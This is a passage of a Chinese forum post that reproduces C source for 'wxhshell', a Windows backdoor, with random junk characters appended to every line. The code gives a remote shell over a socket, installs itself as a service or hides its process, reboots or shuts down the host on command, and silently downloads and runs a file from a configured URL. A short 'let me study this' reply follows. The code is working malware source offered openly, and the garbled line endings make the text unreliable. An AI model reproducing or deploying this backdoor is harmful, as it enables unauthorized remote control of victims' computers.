  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 4xhV +Y  
  } ,(Fo%.j  
  else { BZEY^G  
 fI[tU(x  
    switch(cmd[0]) { =Z_\8qc  
  L~A"%T,/h  
  // 帮助 T[>h6d  
  case '?': { ,GXwi|Y  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 4]nU%`Z1w  
    break; <.( IJ  
  } Yo;/7gG>  
  // 安装 OQaM47"  
  case 'i': { c#nFm&}dm  
    if(Install()) .:Bjs*  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); wl2rw93  
    else /A\'_a|  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); /S1EQ%_  
    break; r<V]MwO=  
    } > C{^{?~u  
  // 卸载 ElhTB  
  case 'r': { x*}j$n(Oa  
    if(Uninstall()) {YWj`K  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); `48jL3|  
    else xc Wr hg  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); '#$% f  
    break; !y$H r[v  
    } {%. _cR2  
  // 显示 wxhshell 所在路径 <`5>;Xn=  
  case 'p': { 3 1KMn  
    char svExeFile[MAX_PATH]; G/_#zIN`8M  
    strcpy(svExeFile,"\n\r"); s4P8PDhz  
      strcat(svExeFile,ExeFile); n l Xg8t^G  
        send(wsh,svExeFile,strlen(svExeFile),0); & S_gNa  
    break; ,kuJWaUC@  
    } .Br2^F  
  // 重启 +l@H[r;$  
  case 'b': { B)/X:[  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); kW\=Z 1\#  
    if(Boot(REBOOT)) 2H;&E1:  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); sp0& " &5  
    else { G& cm5  
    closesocket(wsh); +oBf\!{cW  
    ExitThread(0); r4dG83qg  
    } WGKN>nV  
    break; i;lzFu )G  
    } |vz< FR6  
  // 关机 _IOeO  
  case 'd': { &+6XdhX  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); QKc3Q5)@j  
    if(Boot(SHUTDOWN)) 6=A2Y:8  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); }M?GqA=  
    else { !1+L0,I6  
    closesocket(wsh); 2,puu2F  
    ExitThread(0); Z!G_" 3  
    } &}32X-~y  
    break; ^i_mGeu  
    } ?;> s<  
  // 获取shell c.6u)"@$  
  case 's': { rEfk5R  
    CmdShell(wsh); Ks@S5:9sp  
    closesocket(wsh); \D?6_ ,O  
    ExitThread(0); l@Ma{*s6=5  
    break; I !9u](\0  
  } ]0by6hQ  
  // 退出 cf1Ve\(YGI  
  case 'x': { .3qaaXeH  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); suj? e6  
    CloseIt(wsh); GBtBmV/`  
    break; '@2pOq  
    } 5[`!\vCiZ  
  // 离开 \6)l(b;  
  case 'q': { 5fv eQI~!  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); g[*+R9'  
    closesocket(wsh); #tN)OZA  
    WSACleanup(); (S0MqX*  
    exit(1); 'Fo*h6=  
    break; #<0%_Ca  
        } c.m ' %4  
  } +`kfcA#pi  
  } {5 -4^|!  
zCL/^^#  
  // 提示信息 [%YA42_`LD  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); yeKzI~  
} Un^QNd>  
  } 8HX(1nNj}  
)+wBS3BC  
  return; [|d:QFx  
} wblEx/FqE^  
LkMhS0?(T  
// shell模块句柄 gsI"G  
int CmdShell(SOCKET sock)  }XaO~]  
{ 5g&.P\c{  
STARTUPINFO si; PP/M-Jql)  
ZeroMemory(&si,sizeof(si)); AnU,2[(  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; WG NuB9R  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ~ 6 1?nu  
PROCESS_INFORMATION ProcessInfo; jU)r~QhN  
char cmdline[]="cmd"; F)j-D(c4  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); lDe9(5|)Q  
  return 0; tq}sXt  
} $Eg|Qc-1  
3qiE#+dC  
// 自身启动模式 'I($IM  
int StartFromService(void) A`Z!=og=  
{ O;ZU{VY  
typedef struct LH"MJWO J  
{ w3PE.A"Q  
  DWORD ExitStatus; y1,L0v$=}  
  DWORD PebBaseAddress; Z8(1QU,~2  
  DWORD AffinityMask; } Ga@bY6  
  DWORD BasePriority; \U4O*lq  
  ULONG UniqueProcessId; ,]i ^/fT  
  ULONG InheritedFromUniqueProcessId; '$ ~.x|  
}   PROCESS_BASIC_INFORMATION; Z}T<^  F  
%Xh/16X${  
PROCNTQSIP NtQueryInformationProcess; Kw3fpNd  
a~Sf~ka  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Op,Ce4A  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; -\6tVF11z  
M-K<w(,X  
  HANDLE             hProcess; /4YXx|V  
  PROCESS_BASIC_INFORMATION pbi; |0U"#xkf  
AEX]_1TG  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); p \; * :  
  if(NULL == hInst ) return 0; k.rP}76  
!X(Lvt/  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 3uwu}aw  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); k sJz44  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ;j-@ $j  
$7a| 9s0  
  if (!NtQueryInformationProcess) return 0; +hpXMO%?  
Nm--h$G  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); b3wE8Co  
  if(!hProcess) return 0; p.n]y=o.)  
[`_&d7{-4b  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; U u(ysN4`  
TYw0#ZXo  
  CloseHandle(hProcess); b=9(gZ 9  
W,`u5gbT  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); P!,\V\TY]  
if(hProcess==NULL) return 0; (zWzF_v  
9r fR  
HMODULE hMod; Dj;h!8t.  
char procName[255]; D7X-|`kH  
unsigned long cbNeeded; `. /[/ z-g  
[@ "H2#CQ  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); JS642T  
e!l!T@ pf  
  CloseHandle(hProcess); aa_&WHXkt  
hQ i[7r($8  
if(strstr(procName,"services")) return 1; // 以服务启动 y%|nE((  
&O#a==F!(  
  return 0; // 注册表启动 yv 9~  
} d0>V^cB'?  
~=Z&l  
// 主模块 K8pfk*NZ_@  
int StartWxhshell(LPSTR lpCmdLine) rwtSn?0z"  
{ /&$'v:VB  
  SOCKET wsl; U)zd~ug?m  
BOOL val=TRUE; Yi{[llru  
  int port=0; $G"PZ7  
  struct sockaddr_in door; .bB_f7TH.  
{DI_i +2  
  if(wscfg.ws_autoins) Install(); f?dNTfQ3mi  
":"QsS#*"#  
port=atoi(lpCmdLine); @?!/Pl49R  
7 ZET@  
if(port<=0) port=wscfg.ws_port; "monuErg&  
1T%Y:0  
  WSADATA data; G#HbiVH9  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; H.7gSB1  
?Gp~i]  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   v>c[wg9P  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); jm =E_86_  
  door.sin_family = AF_INET; \_!FOUPz(  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); c#OZ=`  
  door.sin_port = htons(port); S&6}9r  
.hg<\-:_  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { H #J"'  
closesocket(wsl); :u'X ~ID[  
return 1; DGC -`z  
} Eg3rbqM- 8  
YZ7rs] A  
  if(listen(wsl,2) == INVALID_SOCKET) { R# 8D}5[&  
closesocket(wsl); e=%7tK*  
return 1; (gNI6;P;}  
} %\}|&z6  
  Wxhshell(wsl); DHbLS3-  
  WSACleanup();  s+[_5n~  
k)[}3oq  
return 0; en=Z[ZIPO  
(iP,F]  
} fm;1Iu#  
OZbwquF@  
// 以NT服务方式启动  elWN-~  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 6[69|&  
{ 394u']M  
DWORD   status = 0; A~ '2ki5$g  
  DWORD   specificError = 0xfffffff; `kwyF27v]  
*na7/ysT<  
  serviceStatus.dwServiceType     = SERVICE_WIN32; mppBc-#EYr  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Ufv{6"sH  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ";`ddN3  
  serviceStatus.dwWin32ExitCode     = 0; {uM0J$P:  
  serviceStatus.dwServiceSpecificExitCode = 0; iEr|?,  
  serviceStatus.dwCheckPoint       = 0; !#rZ eDmw  
  serviceStatus.dwWaitHint       = 0; Xr :"8FT  
N ]}Re$5  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); X-3L4@T:?  
  if (hServiceStatusHandle==0) return; R=i$*6}a  
(*/P~$xIj  
status = GetLastError(); s$C;31k  
  if (status!=NO_ERROR) 9$~D4T  
{ {Xwin $C  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 1;fs`k0p  
    serviceStatus.dwCheckPoint       = 0; `.MM|6  
    serviceStatus.dwWaitHint       = 0; %N/I;`  
    serviceStatus.dwWin32ExitCode     = status; kX'1.<[  
    serviceStatus.dwServiceSpecificExitCode = specificError; _( w4\]  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); KAgiY4  
    return; KofjveOiC  
  } KFA B  
9=rYzA?)+  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; \Wt&z,  
  serviceStatus.dwCheckPoint       = 0; F` J(+  
  serviceStatus.dwWaitHint       = 0; Kw(/#C:$  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); S?r:=GS  
} ]}ff*W  
l2 gI2Cioa  
// 处理NT服务事件,比如:启动、停止 L^RyJ;^c  
VOID WINAPI NTServiceHandler(DWORD fdwControl) `*KS` z?  
{ IB}.J,=  
switch(fdwControl) iFF/[P  
{ ~SV;"e2N.  
case SERVICE_CONTROL_STOP: 6:v8J1G(<  
  serviceStatus.dwWin32ExitCode = 0; i/C#fIB2  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; QDBptI:  
  serviceStatus.dwCheckPoint   = 0; bTA<AoW9="  
  serviceStatus.dwWaitHint     = 0; aMm`G}9n  
  { 2YuaPq/  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); OMJr.u  
  } ] X%bU*4  
  return; )09_CC!a  
case SERVICE_CONTROL_PAUSE: ksu:RJ-  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; `WWf?g  
  break; 4yQ4lU,r  
case SERVICE_CONTROL_CONTINUE: W;~^3Hz6  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; GY@Np^>[a  
  break; 9rn!U2  
case SERVICE_CONTROL_INTERROGATE: @F=ZGmq  
  break; _=U XNr8S  
}; EIEwrC  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); {4}Sl^kn*  
} V *S|Qy!p  
|8`}yRsQ  
// 标准应用程序主函数 [DGq{(O  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) A"vI6ud>  
{ - CM;sXq  
TCmWn$LeE  
// 获取操作系统版本 N%y%)MI8  
OsIsNt=GetOsVer(); x~Se-#$  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 4z#CkT  
?B@hCd)  
  // 从命令行安装 9tl Fbu  
  if(strpbrk(lpCmdLine,"iI")) Install(); QHP^1W`  
gJs~kQU  
  // 下载执行文件 `'0opoQRe  
if(wscfg.ws_downexe) { Y)BKRS~  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) =\CbX  
  WinExec(wscfg.ws_filenam,SW_HIDE); +8Peh9"  
} 0AR4/5.  
5Tn4iyg;B  
if(!OsIsNt) { [0/?(i|  
// 如果时win9x,隐藏进程并且设置为注册表启动 ; wW6x  
HideProc(); (>WV)  
StartWxhshell(lpCmdLine); *eUL1m8Y  
} rp=?4^(u  
else q69a-5q  
  if(StartFromService()) eZ}FKg%2[  
  // 以服务方式启动 LwY_6[Ef  
  StartServiceCtrlDispatcher(DispatchTable); xs.[]>nQN  
else kwWO1=ikz@  
  // 普通方式启动 _AVCh)Zb  
  StartWxhshell(lpCmdLine); FuEHO6nx  
cTRCQ+W6:  
return 0; pC5-,Z;8  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
如果您提交过一次失败了,可以用”恢复数据”来恢复帖子内容
认证码:
验证问题:
3+5=?,请输入中文答案:八 正确答案:八